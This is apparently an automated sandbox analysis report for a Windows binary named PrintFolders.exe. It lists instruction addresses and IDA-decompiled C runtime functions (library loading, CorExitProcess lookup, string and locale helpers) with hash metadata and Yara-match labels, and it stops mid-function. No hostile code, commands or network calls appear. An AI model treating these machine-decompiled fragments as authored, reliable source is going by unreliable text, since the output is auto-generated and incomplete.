                                                          0x00000000
                                                          0x00423e9a
                                                          0x00423e9a
                                                          0x00423e9f
                                                          0x00423ea6
                                                          0x00423ea9
                                                          0x00423eab
                                                          0x00423ebc
                                                          0x00423ebe
                                                          0x00423ec0
                                                          0x00423ec0
                                                          0x00423ec0
                                                          0x00423ead
                                                          0x00423eae
                                                          0x00423eb3
                                                          0x00423eb6
                                                          0x00423ec5
                                                          0x00423ecb
                                                          0x00000000
                                                          0x00423ece
                                                          0x00423e6f
                                                          0x00423e6f
                                                          0x00423e75
                                                          0x00423e7a
                                                          0x00423e7d
                                                          0x00423e7f
                                                          0x00423ed1
                                                          0x00423ed3
                                                          0x00423ed4
                                                          0x00423ed5
                                                          0x00423ed6
                                                          0x00423ed7
                                                          0x00423ed8
                                                          0x00423edd
                                                          0x00423ee0
                                                          0x00423ee1
                                                          0x00423ee3
                                                          0x00423ee9
                                                          0x00423ef0
                                                          0x00423ef3
                                                          0x00423ef6
                                                          0x00423ef9
                                                          0x00423efa
                                                          0x00423efb
                                                          0x00423efe
                                                          0x00423f04
                                                          0x00423f06
                                                          0x00423f08
                                                          0x00423f08
                                                          0x00423f0a
                                                          0x00423f0c
                                                          0x00000000
                                                          0x00000000
                                                          0x00423f0e
                                                          0x00423f10
                                                          0x00423f12
                                                          0x00423f14
                                                          0x00423f1f
                                                          0x00423f21
                                                          0x00423f23
                                                          0x00000000
                                                          0x00000000
                                                          0x00423f23
                                                          0x00423f14
                                                          0x00000000
                                                          0x00423f10
                                                          0x00423f25
                                                          0x00423f25
                                                          0x00423f2b
                                                          0x00423f2d
                                                          0x00423f33
                                                          0x00423f35
                                                          0x00423f57
                                                          0x00423f57
                                                          0x00423f59
                                                          0x00423f5b
                                                          0x00423f67
                                                          0x00423f67
                                                          0x00423f5d
                                                          0x00423f5d
                                                          0x00423f5f
                                                          0x00000000
                                                          0x00423f61
                                                          0x00423f61
                                                          0x00423f63
                                                          0x00423f65
                                                          0x00000000
                                                          0x00000000
                                                          0x00423f65
                                                          0x00423f5f
                                                          0x00423f6f
                                                          0x00423f77
                                                          0x00423f7d
                                                          0x00423f7e
                                                          0x00423f80
                                                          0x00423f88
                                                          0x00423f8e
                                                          0x00423f94
                                                          0x00423f9a
                                                          0x00423fae
                                                          0x00423fb3
                                                          0x00423fbe
                                                          0x00423fce
                                                          0x00423fd4
                                                          0x00423fd6
                                                          0x00423fd9
                                                          0x00423ffc
                                                          0x00423ffc
                                                          0x00424001
                                                          0x00424007
                                                          0x00424007
                                                          0x0042400d
                                                          0x00424013
                                                          0x00424019
                                                          0x0042401f
                                                          0x00424025
                                                          0x00424046
                                                          0x0042404b
                                                          0x00424050
                                                          0x00424054
                                                          0x0042405a
                                                          0x0042405d
                                                          0x00424070
                                                          0x00424070
                                                          0x00424076
                                                          0x0042407c
                                                          0x0042407d
                                                          0x0042407e
                                                          0x00424083
                                                          0x00424086
                                                          0x0042408c
                                                          0x0042408e
                                                          0x004240ec
                                                          0x004240f2
                                                          0x004240fa
                                                          0x004240ff
                                                          0x00424105
                                                          0x00424106
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042405f
                                                          0x0042405f
                                                          0x00424062
                                                          0x00424064
                                                          0x00000000
                                                          0x00424066
                                                          0x00424066
                                                          0x00424069
                                                          0x00000000
                                                          0x0042406b
                                                          0x0042406b
                                                          0x0042406e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042406e
                                                          0x00424069
                                                          0x00424064
                                                          0x00424108
                                                          0x00424109
                                                          0x00000000
                                                          0x00424090
                                                          0x00424090
                                                          0x00424096
                                                          0x0042409e
                                                          0x004240a3
                                                          0x004240b2
                                                          0x004240b2
                                                          0x004240ba
                                                          0x004240c0
                                                          0x004240c6
                                                          0x004240cd
                                                          0x004240d0
                                                          0x004240d2
                                                          0x004240e2
                                                          0x004240e7
                                                          0x00000000
                                                          0x00423fdb
                                                          0x00423fdb
                                                          0x00423fe1
                                                          0x00423fe2
                                                          0x00423fe3
                                                          0x00423fe4
                                                          0x00423fec
                                                          0x00423fec
                                                          0x0042410f
                                                          0x0042410f
                                                          0x00424116
                                                          0x00424117
                                                          0x0042411f
                                                          0x00424124
                                                          0x00424125
                                                          0x00423f37
                                                          0x00423f37
                                                          0x00423f3a
                                                          0x00423f3c
                                                          0x00423f51
                                                          0x00000000
                                                          0x00423f3e
                                                          0x00423f3e
                                                          0x00423f41
                                                          0x00423f42
                                                          0x00423f43
                                                          0x00423f44
                                                          0x00423f49
                                                          0x00423f3c
                                                          0x0042412a
                                                          0x0042412b
                                                          0x0042412d
                                                          0x00424134
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00423e7f
                                                          0x00423e52
                                                          0x00423e54
                                                          0x00423e55
                                                          0x00423e57
                                                          0x00423e57
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00423db0
                                                          0x00423db0
                                                          0x00423db6
                                                          0x00423db9
                                                          0x00423dbc
                                                          0x00423dbf
                                                          0x00423dc2
                                                          0x00423dc5
                                                          0x00423dc8
                                                          0x00423dc8
                                                          0x00000000
                                                          0x00423d79
                                                          0x00423d47
                                                          0x00423d47
                                                          0x00423d4a
                                                          0x00423dd7
                                                          0x00423dd8
                                                          0x00423ddd
                                                          0x00000000
                                                          0x00423ddd
                                                          0x00423c7e
                                                          0x00423c7e
                                                          0x00423c81
                                                          0x00423c89
                                                          0x00423c8c
                                                          0x00423c93
                                                          0x00423c95
                                                          0x00423c97
                                                          0x00423cb2
                                                          0x00423cb3
                                                          0x00423cb4
                                                          0x00423cb5
                                                          0x00423cba
                                                          0x00423cbd
                                                          0x00423cc0
                                                          0x00423c99
                                                          0x00423c99
                                                          0x00423c9c
                                                          0x00423c9d
                                                          0x00423c9e
                                                          0x00423c9f
                                                          0x00423ca0
                                                          0x00423ca5
                                                          0x00423ca7
                                                          0x00423caa
                                                          0x00423caa
                                                          0x00423cc2
                                                          0x00423cc4
                                                          0x00000000
                                                          0x00000000
                                                          0x00423ccd
                                                          0x00423cd0
                                                          0x00423cd3
                                                          0x00423cd5
                                                          0x00423cd7
                                                          0x00000000
                                                          0x00423cd9
                                                          0x00423cd9
                                                          0x00423cdc
                                                          0x00000000
                                                          0x00423cdc
                                                          0x00000000
                                                          0x00423cd7
                                                          0x00423d52
                                                          0x00423dde
                                                          0x00423de1
                                                          0x00423de5
                                                          0x00423dee
                                                          0x00423df1
                                                          0x00423df5
                                                          0x00423df5
                                                          0x00423df7
                                                          0x00423dfa
                                                          0x00423dfc
                                                          0x00423dfe
                                                          0x00423e00
                                                          0x00423e05
                                                          0x00423e06
                                                          0x00423e0a
                                                          0x00423e0a
                                                          0x00423e0e
                                                          0x00423e11
                                                          0x00423e11
                                                          0x00423e15
                                                          0x00000000
                                                          0x00423e1c
                                                          0x00423c4e
                                                          0x00423c4e
                                                          0x00423c55
                                                          0x00423c56
                                                          0x00423c58
                                                          0x00423e1d
                                                          0x00423e21
                                                          0x00423e21
                                                          0x00000000

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free_strpbrk
                                                          • String ID: *?
                                                          • API String ID: 3300345361-2564092906
                                                          • Opcode ID: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
                                                          • Instruction ID: a5b53929445bb92843a6d04ab522df775d1d9dfa49c27ddf940b2185fd00e526
                                                          • Opcode Fuzzy Hash: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
                                                          • Instruction Fuzzy Hash: D9616E76E002299FCB14CFA9D8815EEFBF5EF48714F6441AAE815F7300D639AE418B94
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E10009A2A(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
                                                          				intOrPtr _t14;
                                                          				intOrPtr _t15;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t36;
                                                          				intOrPtr* _t38;
                                                          				intOrPtr _t39;
                                                          
                                                          				_t38 = _a4;
                                                          				if(_t38 != 0) {
                                                          					__eflags =  *_t38;
                                                          					if( *_t38 != 0) {
                                                          						_t14 = E1000A4B8(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
                                                          						__eflags = _t14;
                                                          						if(__eflags != 0) {
                                                          							_t36 = _a8;
                                                          							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
                                                          							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
                                                          								L10:
                                                          								_t15 = E1000A4B8(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
                                                          								__eflags = _t15;
                                                          								if(__eflags != 0) {
                                                          									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
                                                          									_t17 = 0;
                                                          									__eflags = 0;
                                                          								} else {
                                                          									E100063D0(GetLastError());
                                                          									_t17 =  *((intOrPtr*)(E10006406(__eflags)));
                                                          								}
                                                          								L13:
                                                          								L14:
                                                          								return _t17;
                                                          							}
                                                          							_t17 = E10009AF1(_t36, _t14);
                                                          							__eflags = _t17;
                                                          							if(_t17 != 0) {
                                                          								goto L13;
                                                          							}
                                                          							goto L10;
                                                          						}
                                                          						E100063D0(GetLastError());
                                                          						_t17 =  *((intOrPtr*)(E10006406(__eflags)));
                                                          						goto L14;
                                                          					}
                                                          					_t39 = _a8;
                                                          					__eflags =  *((intOrPtr*)(_t39 + 0xc));
                                                          					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
                                                          						L5:
                                                          						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
                                                          						_t17 = 0;
                                                          						 *((intOrPtr*)(_t39 + 0x10)) = 0;
                                                          						goto L14;
                                                          					}
                                                          					_t17 = E10009AF1(_t39, 1);
                                                          					__eflags = _t17;
                                                          					if(_t17 != 0) {
                                                          						goto L14;
                                                          					}
                                                          					goto L5;
                                                          				}
                                                          				E10009B18(_a8);
                                                          				return 0;
                                                          			}









                                                          0x10009a30
                                                          0x10009a35
                                                          0x10009a49
                                                          0x10009a4c
                                                          0x10009a7e
                                                          0x10009a86
                                                          0x10009a88
                                                          0x10009aa1
                                                          0x10009aa4
                                                          0x10009aa7
                                                          0x10009ab5
                                                          0x10009ac4
                                                          0x10009acc
                                                          0x10009ace
                                                          0x10009ae7
                                                          0x10009aea
                                                          0x10009aea
                                                          0x10009ad0
                                                          0x10009ad7
                                                          0x10009ae2
                                                          0x10009ae2
                                                          0x10009aec
                                                          0x10009aed
                                                          0x00000000
                                                          0x10009aed
                                                          0x10009aac
                                                          0x10009ab1
                                                          0x10009ab3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10009ab3
                                                          0x10009a91
                                                          0x10009a9c
                                                          0x00000000
                                                          0x10009a9c
                                                          0x10009a4e
                                                          0x10009a51
                                                          0x10009a54
                                                          0x10009a67
                                                          0x10009a6a
                                                          0x10009a6c
                                                          0x10009a6e
                                                          0x00000000
                                                          0x10009a6e
                                                          0x10009a5a
                                                          0x10009a5f
                                                          0x10009a61
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10009a61
                                                          0x10009a3a
                                                          0x00000000

                                                          Strings
                                                          • C:\Program Files (x86)\PrintFolders\PrintFolders.exe, xrefs: 10009A2F
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                          • API String ID: 0-2080567260
                                                          • Opcode ID: e9296d43ca75f7937d2bfdf5c651374163314c5b883c374609abe0d00f2d06f1
                                                          • Instruction ID: f719ca89bfa5e63d0542726edbeff2ced601996c164ddfce3f4ce27f4cb91101
                                                          • Opcode Fuzzy Hash: e9296d43ca75f7937d2bfdf5c651374163314c5b883c374609abe0d00f2d06f1
                                                          • Instruction Fuzzy Hash: 1A21F07170421AAFFB10DF619C80D1B77ADEF062E4B218624F924D7198EB70EC0087E2
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00412F77(void* __ecx, signed int* _a4, intOrPtr _a8) {
                                                          				WCHAR* _v8;
                                                          				signed int _t11;
                                                          				WCHAR* _t12;
                                                          				struct HINSTANCE__* _t16;
                                                          				struct HINSTANCE__* _t18;
                                                          				signed int* _t22;
                                                          				signed int* _t26;
                                                          				struct HINSTANCE__* _t29;
                                                          				WCHAR* _t31;
                                                          				void* _t32;
                                                          
                                                          				_t26 = _a4;
                                                          				while(_t26 != _a8) {
                                                          					_t11 =  *_t26;
                                                          					_t22 = 0x4505f0 + _t11 * 4;
                                                          					_t29 =  *_t22;
                                                          					if(_t29 == 0) {
                                                          						_t12 =  *(0x42fb4c + _t11 * 4);
                                                          						_v8 = _t12;
                                                          						_t29 = LoadLibraryExW(_t12, 0, 0x800);
                                                          						if(_t29 != 0) {
                                                          							L13:
                                                          							 *_t22 = _t29;
                                                          							if( *_t22 != 0) {
                                                          								FreeLibrary(_t29);
                                                          							}
                                                          							L15:
                                                          							_t16 = _t29;
                                                          							L12:
                                                          							return _t16;
                                                          						}
                                                          						_t18 = GetLastError();
                                                          						if(_t18 != 0x57) {
                                                          							L8:
                                                          							 *_t22 = _t18 | 0xffffffff;
                                                          							L9:
                                                          							_t26 =  &(_t26[1]);
                                                          							continue;
                                                          						}
                                                          						_t31 = _v8;
                                                          						_t18 = E004162B4(_t31, L"api-ms-", 7);
                                                          						_t32 = _t32 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L8;
                                                          						}
                                                          						_t18 = LoadLibraryExW(_t31, 0, 0);
                                                          						_t29 = _t18;
                                                          						if(_t29 != 0) {
                                                          							goto L13;
                                                          						}
                                                          						goto L8;
                                                          					}
                                                          					if(_t29 != 0xffffffff) {
                                                          						goto L15;
                                                          					}
                                                          					goto L9;
                                                          				}
                                                          				_t16 = 0;
                                                          				goto L12;
                                                          			}













                                                          0x00412f7e
                                                          0x00412ff2
                                                          0x00412f83
                                                          0x00412f85
                                                          0x00412f8c
                                                          0x00412f90
                                                          0x00412f99
                                                          0x00412fa8
                                                          0x00412fb1
                                                          0x00412fb5
                                                          0x00412ffe
                                                          0x00413000
                                                          0x00413004
                                                          0x00413007
                                                          0x00413007
                                                          0x0041300d
                                                          0x0041300d
                                                          0x00412ff9
                                                          0x00412ffd
                                                          0x00412ffd
                                                          0x00412fb7
                                                          0x00412fc0
                                                          0x00412fea
                                                          0x00412fed
                                                          0x00412fef
                                                          0x00412fef
                                                          0x00000000
                                                          0x00412fef
                                                          0x00412fc2
                                                          0x00412fcd
                                                          0x00412fd2
                                                          0x00412fd7
                                                          0x00000000
                                                          0x00000000
                                                          0x00412fde
                                                          0x00412fe4
                                                          0x00412fe8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412fe8
                                                          0x00412f95
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412f97
                                                          0x00412ff7
                                                          0x00000000

                                                          APIs
                                                          • FreeLibrary.KERNEL32(00000000,?,?,?,00413038,?,?,00450598,00000000,?,00413163,00000004,InitializeCriticalSectionEx,0042FC40,InitializeCriticalSectionEx,00000000), ref: 00413007
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FreeLibrary
                                                          • String ID: api-ms-
                                                          • API String ID: 3664257935-2084034818
                                                          • Opcode ID: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
                                                          • Instruction ID: 324e9a28238f0b2d2c387c29989b4e23a6be0dab15a3266a9455cfbf25704082
                                                          • Opcode Fuzzy Hash: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
                                                          • Instruction Fuzzy Hash: 3911A332B41221ABDB325B689D44B9E77B4AF01760F550232F901E7380D7B8ED92A6DD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E10005952(void* __ecx, signed int* _a4, intOrPtr _a8) {
                                                          				WCHAR* _v8;
                                                          				signed int _t11;
                                                          				WCHAR* _t12;
                                                          				struct HINSTANCE__* _t16;
                                                          				struct HINSTANCE__* _t18;
                                                          				signed int* _t22;
                                                          				signed int* _t26;
                                                          				struct HINSTANCE__* _t29;
                                                          				WCHAR* _t31;
                                                          				void* _t32;
                                                          
                                                          				_t26 = _a4;
                                                          				while(_t26 != _a8) {
                                                          					_t11 =  *_t26;
                                                          					_t22 = 0x10017d58 + _t11 * 4;
                                                          					_t29 =  *_t22;
                                                          					if(_t29 == 0) {
                                                          						_t12 =  *(0x10010bf0 + _t11 * 4);
                                                          						_v8 = _t12;
                                                          						_t29 = LoadLibraryExW(_t12, 0, 0x800);
                                                          						if(_t29 != 0) {
                                                          							L13:
                                                          							 *_t22 = _t29;
                                                          							if( *_t22 != 0) {
                                                          								FreeLibrary(_t29);
                                                          							}
                                                          							L15:
                                                          							_t16 = _t29;
                                                          							L12:
                                                          							return _t16;
                                                          						}
                                                          						_t18 = GetLastError();
                                                          						if(_t18 != 0x57) {
                                                          							L8:
                                                          							 *_t22 = _t18 | 0xffffffff;
                                                          							L9:
                                                          							_t26 =  &(_t26[1]);
                                                          							continue;
                                                          						}
                                                          						_t31 = _v8;
                                                          						_t18 = E10007808(_t31, L"api-ms-", 7);
                                                          						_t32 = _t32 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L8;
                                                          						}
                                                          						_t18 = LoadLibraryExW(_t31, 0, 0);
                                                          						_t29 = _t18;
                                                          						if(_t29 != 0) {
                                                          							goto L13;
                                                          						}
                                                          						goto L8;
                                                          					}
                                                          					if(_t29 != 0xffffffff) {
                                                          						goto L15;
                                                          					}
                                                          					goto L9;
                                                          				}
                                                          				_t16 = 0;
                                                          				goto L12;
                                                          			}













                                                          0x10005959
                                                          0x100059cd
                                                          0x1000595e
                                                          0x10005960
                                                          0x10005967
                                                          0x1000596b
                                                          0x10005974
                                                          0x10005983
                                                          0x1000598c
                                                          0x10005990
                                                          0x100059d9
                                                          0x100059db
                                                          0x100059df
                                                          0x100059e2
                                                          0x100059e2
                                                          0x100059e8
                                                          0x100059e8
                                                          0x100059d4
                                                          0x100059d8
                                                          0x100059d8
                                                          0x10005992
                                                          0x1000599b
                                                          0x100059c5
                                                          0x100059c8
                                                          0x100059ca
                                                          0x100059ca
                                                          0x00000000
                                                          0x100059ca
                                                          0x1000599d
                                                          0x100059a8
                                                          0x100059ad
                                                          0x100059b2
                                                          0x00000000
                                                          0x00000000
                                                          0x100059b9
                                                          0x100059bf
                                                          0x100059c3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100059c3
                                                          0x10005970
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10005972
                                                          0x100059d2
                                                          0x00000000

                                                          APIs
                                                          • FreeLibrary.KERNEL32(00000000,?,?,10005A13,00000000,?,00000001,00000000,?,10005A8A,00000001,FlsFree,10010CAC,FlsFree,00000000), ref: 100059E2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: FreeLibrary
                                                          • String ID: api-ms-
                                                          • API String ID: 3664257935-2084034818
                                                          • Opcode ID: 05dae4829f89c238065b3f81865d8903e6a2693040ccf54503ed27d823b8eae0
                                                          • Instruction ID: d85896a24450fc99b6d677e93262eca8bfdbf032966a5c4c6ca1d277b34163f7
                                                          • Opcode Fuzzy Hash: 05dae4829f89c238065b3f81865d8903e6a2693040ccf54503ed27d823b8eae0
                                                          • Instruction Fuzzy Hash: 88115431A41625E7FB12CB588C45B4A37E4EF057F1F224251F954AB188D7B1ED0086D5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 25%
                                                          			E00417BF1(void* __ecx, intOrPtr _a4) {
                                                          				signed int _v8;
                                                          				_Unknown_base(*)()* _t8;
                                                          				_Unknown_base(*)()* _t14;
                                                          
                                                          				_v8 = _v8 & 0x00000000;
                                                          				_t8 =  &_v8;
                                                          				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
                                                          				if(_t8 != 0) {
                                                          					_t8 = GetProcAddress(_v8, "CorExitProcess");
                                                          					_t14 = _t8;
                                                          					if(_t14 != 0) {
                                                          						 *0x42e234(_a4);
                                                          						_t8 =  *_t14();
                                                          					}
                                                          				}
                                                          				if(_v8 != 0) {
                                                          					return FreeLibrary(_v8);
                                                          				}
                                                          				return _t8;
                                                          			}






                                                          0x00417bf7
                                                          0x00417bfb
                                                          0x00417c06
                                                          0x00417c0e
                                                          0x00417c19
                                                          0x00417c1f
                                                          0x00417c23
                                                          0x00417c2a
                                                          0x00417c30
                                                          0x00417c30
                                                          0x00417c32
                                                          0x00417c37
                                                          0x00000000
                                                          0x00417c3c
                                                          0x00417c43

                                                          APIs
                                                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00417BE6,0041CC1F,?,00417BAE,00000000,?,0041CC1F), ref: 00417C06
                                                          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00417C19
                                                          • FreeLibrary.KERNEL32(00000000,?,?,00417BE6,0041CC1F,?,00417BAE,00000000,?,0041CC1F), ref: 00417C3C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 4061214504-1276376045
                                                          • Opcode ID: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
                                                          • Instruction ID: 50fc213c28fa4c0962e30c3ca3a17305303cd13cd11f285dc03a73bb53cf4c5d
                                                          • Opcode Fuzzy Hash: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
                                                          • Instruction Fuzzy Hash: E6F08C30644219FBDB219B51DE0ABDEBB79EF00752F5040A1E401A22A0DBB88E02DBD8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 25%
                                                          			E10006D66(void* __ecx, intOrPtr _a4) {
                                                          				signed int _v8;
                                                          				_Unknown_base(*)()* _t8;
                                                          				_Unknown_base(*)()* _t14;
                                                          
                                                          				_v8 = _v8 & 0x00000000;
                                                          				_t8 =  &_v8;
                                                          				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
                                                          				if(_t8 != 0) {
                                                          					_t8 = GetProcAddress(_v8, "CorExitProcess");
                                                          					_t14 = _t8;
                                                          					if(_t14 != 0) {
                                                          						 *0x10010164(_a4);
                                                          						_t8 =  *_t14();
                                                          					}
                                                          				}
                                                          				if(_v8 != 0) {
                                                          					return FreeLibrary(_v8);
                                                          				}
                                                          				return _t8;
                                                          			}






                                                          0x10006d6c
                                                          0x10006d70
                                                          0x10006d7b
                                                          0x10006d83
                                                          0x10006d8e
                                                          0x10006d94
                                                          0x10006d98
                                                          0x10006d9f
                                                          0x10006da5
                                                          0x10006da5
                                                          0x10006da7
                                                          0x10006dac
                                                          0x00000000
                                                          0x10006db1
                                                          0x10006db8

                                                          APIs
                                                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10006D18,10007C68,?,10006CE0,10002482,?,10007C68), ref: 10006D7B
                                                          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10006D8E
                                                          • FreeLibrary.KERNEL32(00000000,?,?,10006D18,10007C68,?,10006CE0,10002482,?,10007C68), ref: 10006DB1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 4061214504-1276376045
                                                          • Opcode ID: db8878897a761d3f804d4e4fac8edfdfd5bd9024b52660bc89352341890e853e
                                                          • Instruction ID: d2a57dd25697f495839985113eab26af44f550b47abe90b3ea9ba5ee1bafc218
                                                          • Opcode Fuzzy Hash: db8878897a761d3f804d4e4fac8edfdfd5bd9024b52660bc89352341890e853e
                                                          • Instruction Fuzzy Hash: B3F0A730B01228FBFB02DB90CD09BDD7ABAEF08396F104064F881A2164CBB4CE00DB91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 88%
                                                          			E0042A50A(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
                                                          				signed int _v8;
                                                          				char _v22;
                                                          				struct _cpinfo _v28;
                                                          				intOrPtr* _v32;
                                                          				signed int _v36;
                                                          				intOrPtr* _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				void* _v60;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t55;
                                                          				intOrPtr* _t60;
                                                          				int _t62;
                                                          				signed int _t65;
                                                          				signed int _t66;
                                                          				intOrPtr* _t67;
                                                          				void* _t69;
                                                          				signed int _t70;
                                                          				signed int _t71;
                                                          				intOrPtr* _t77;
                                                          				char* _t79;
                                                          				char* _t80;
                                                          				intOrPtr _t95;
                                                          				intOrPtr _t96;
                                                          				intOrPtr* _t102;
                                                          				signed int _t104;
                                                          				void* _t105;
                                                          				intOrPtr* _t107;
                                                          				void* _t108;
                                                          				intOrPtr* _t109;
                                                          
                                                          				_t55 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t55 ^ _t104;
                                                          				_t103 = _a20;
                                                          				_v44 = _a4;
                                                          				_v48 = _a8;
                                                          				_t59 = _a24;
                                                          				_v40 = _a24;
                                                          				_t102 = _a16;
                                                          				_v36 = _t102;
                                                          				if(_t103 <= 0) {
                                                          					if(_t103 < 0xffffffff) {
                                                          						goto L60;
                                                          					} else {
                                                          						goto L3;
                                                          					}
                                                          				} else {
                                                          					_t103 = E00419C8D(_t102, _t103);
                                                          					_t59 = _v40;
                                                          					L3:
                                                          					_t85 = _a28;
                                                          					if(_t85 <= 0) {
                                                          						if(_t85 < 0xffffffff) {
                                                          							goto L60;
                                                          						} else {
                                                          							goto L6;
                                                          						}
                                                          					} else {
                                                          						_t85 = E00419C8D(_t59, _t85);
                                                          						L6:
                                                          						_t62 = _a32;
                                                          						if(_t62 == 0) {
                                                          							_t62 =  *( *_v44 + 8);
                                                          							_a32 = _t62;
                                                          						}
                                                          						if(_t103 == 0 || _t85 == 0) {
                                                          							if(_t103 == _t85) {
                                                          								L59:
                                                          								_push(2);
                                                          								goto L22;
                                                          							} else {
                                                          								if(_t85 > 1) {
                                                          									L31:
